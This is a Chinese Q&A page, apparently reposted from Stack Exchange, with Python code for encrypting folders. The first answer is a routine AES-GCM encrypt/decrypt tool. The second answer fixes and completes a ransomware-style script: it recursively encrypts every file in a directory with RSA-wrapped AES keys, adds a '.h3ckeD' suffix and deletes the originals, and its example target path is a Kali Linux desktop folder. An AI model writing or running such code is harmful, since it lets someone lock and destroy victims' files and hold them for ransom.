如何用Python实现文件夹AES加解密及递归加密指定目录文件加后缀?
问题解答
问题1:Python遍历文件夹实现AES加密/解密并删除原文件
AES属于对称加密算法,推荐使用GCM模式(同时提供加密与数据认证,安全性更高)。以下是完整实现方案:
前置准备
先安装依赖库:
pip install cryptography
完整代码实现
import os from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import secrets def generate_aes_key(): # 生成256位AES密钥(32字节,安全强度较高) return secrets.token_bytes(32) def encrypt_file(aes_key, input_path, output_path): # GCM模式需要12字节随机IV(初始化向量) iv = secrets.token_bytes(12) cipher = Cipher(algorithms.AES(aes_key), modes.GCM(iv), backend=default_backend()) encryptor = cipher.encryptor() with open(input_path, 'rb') as f_in: file_data = f_in.read() # 执行加密 encrypted_data = encryptor.update(file_data) + encryptor.finalize() # 将IV、GCM认证标签、密文一起写入输出文件(解密时需要这些数据) with open(output_path, 'wb') as f_out: f_out.write(iv) f_out.write(encryptor.tag) f_out.write(encrypted_data) def decrypt_file(aes_key, input_path, output_path): with open(input_path, 'rb') as f_in: iv = f_in.read(12) tag = f_in.read(16) # GCM标签固定为16字节 encrypted_data = f_in.read() cipher = Cipher(algorithms.AES(aes_key), modes.GCM(iv, tag), backend=default_backend()) decryptor = cipher.decryptor() try: decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize() except Exception as e: print(f"解密失败:{e}") return False with open(output_path, 'wb') as f_out: f_out.write(decrypted_data) return True def process_directory(aes_key, target_dir, mode='encrypt'): # 递归遍历目标目录下所有文件 for root, dirs, files in os.walk(target_dir): for file in files: file_path = os.path.join(root, file) if mode == 'encrypt': encrypted_path = f"{file_path}.en" encrypt_file(aes_key, file_path, encrypted_path) # 删除原未加密文件 os.remove(file_path) print(f"已加密并删除原文件:{file_path}") elif mode == 'decrypt': if file.endswith('.en'): decrypted_path = file_path[:-3] if decrypt_file(aes_key, file_path, decrypted_path): # 删除加密后的文件 os.remove(file_path) print(f"已解密并删除加密文件:{file_path}") # 使用示例 if __name__ == "__main__": # 生成AES密钥(务必妥善保存,丢失则无法解密) aes_key = generate_aes_key() with open("aes_key.bin", 'wb') as f: f.write(aes_key) # 替换为你需要处理的目录路径 target_dir = "/path/to/your/target/directory" # 执行加密 process_directory(aes_key, target_dir, mode='encrypt') # 解密时读取密钥并执行 # with open("aes_key.bin", 'rb') as f: # aes_key = f.read() # process_directory(aes_key, target_dir, mode='decrypt')
核心注意事项
- AES密钥是解密的唯一凭证,必须离线妥善存储,丢失则所有加密文件无法恢复。
- GCM模式的IV和认证标签必须与密文绑定保存,否则无法完成解密。
- 测试阶段请先备份文件,避免误操作导致数据丢失。
问题2:递归加密指定目录文件并添加.h3ckeD后缀(RSA改进版)
首先明确:RSA不适合直接加密大文件,因为RSA的加密长度受限于密钥大小(2048位RSA最多加密约245字节数据)。推荐采用混合加密方案:用RSA加密临时生成的AES密钥,再用AES加密文件内容,兼顾安全性与实用性。以下是针对需求的实现:
修正并改进后的代码
import os from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import serialization, hashes from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes import secrets def generate_rsa_keys(): # 生成2048位RSA密钥对 private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_key = private_key.public_key() # 保存私钥(务必离线保管,泄露则加密文件可被解密) with open('private_key.pem', 'wb') as f: f.write(private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption() )) # 保存公钥(用于加密) with open('public_key.pem', 'wb') as f: f.write(public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo )) return private_key, public_key def encrypt_file_with_hybrid(public_key, input_path, output_path): # 生成临时AES密钥(用于加密大文件内容) aes_key = secrets.token_bytes(32) iv = secrets.token_bytes(12) cipher = Cipher(algorithms.AES(aes_key), modes.GCM(iv), backend=default_backend()) encryptor = cipher.encryptor() # 读取并加密文件内容 with open(input_path, 'rb') as f_in: file_data = f_in.read() encrypted_data = encryptor.update(file_data) + encryptor.finalize() # 用RSA加密AES密钥 encrypted_aes_key = public_key.encrypt( aes_key, padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) ) # 写入加密后的数据:密钥长度→加密后的AES密钥→IV→GCM标签→文件密文 with open(output_path, 'wb') as f_out: f_out.write(len(encrypted_aes_key).to_bytes(4, byteorder='big')) f_out.write(encrypted_aes_key) f_out.write(iv) f_out.write(encryptor.tag) f_out.write(encrypted_data) def recursive_encrypt_directory(public_key, target_dir): # 递归遍历目录下所有文件 for root, dirs, files in os.walk(target_dir): for file in files: file_path = os.path.join(root, file) # 跳过密钥文件和已加密文件 if file in ['private_key.pem', 'public_key.pem'] or file.endswith('.h3ckeD'): continue encrypted_path = f"{file_path}.h3ckeD" encrypt_file_with_hybrid(public_key, file_path, encrypted_path) # 删除原文件(测试阶段建议先注释该行,避免误删) os.remove(file_path) print(f"已加密并删除原文件:{file_path} → {encrypted_path}") # 使用示例 if __name__ == "__main__": # 首次运行生成密钥对,之后可直接读取公钥 # private_key, public_key = generate_rsa_keys() # 读取已生成的公钥 with open('public_key.pem', 'rb') as f: public_key = serialization.load_pem_public_key( f.read(), backend=default_backend() ) # 替换为目标目录路径 target_dir = "/home/kali/Desktop/files" recursive_encrypt_directory(public_key, target_dir)
关键改进说明
- 采用混合加密方案,解决RSA无法加密大文件的问题。
- 递归遍历目标目录,自动跳过密钥文件和已加密的
.h3ckeD文件。 - 修正了原代码中的缩进错误,保证代码可正常运行。
- 保存加密所需的元数据,确保后续可通过私钥完成解密。
核心注意事项
- 私钥是解密的唯一凭证,必须离线存储,禁止泄露。
- 测试前务必备份目标目录的所有文件,避免数据丢失。
内容的提问来源于stack exchange,提问作者Jackson
相关产品推荐
相关产品推荐

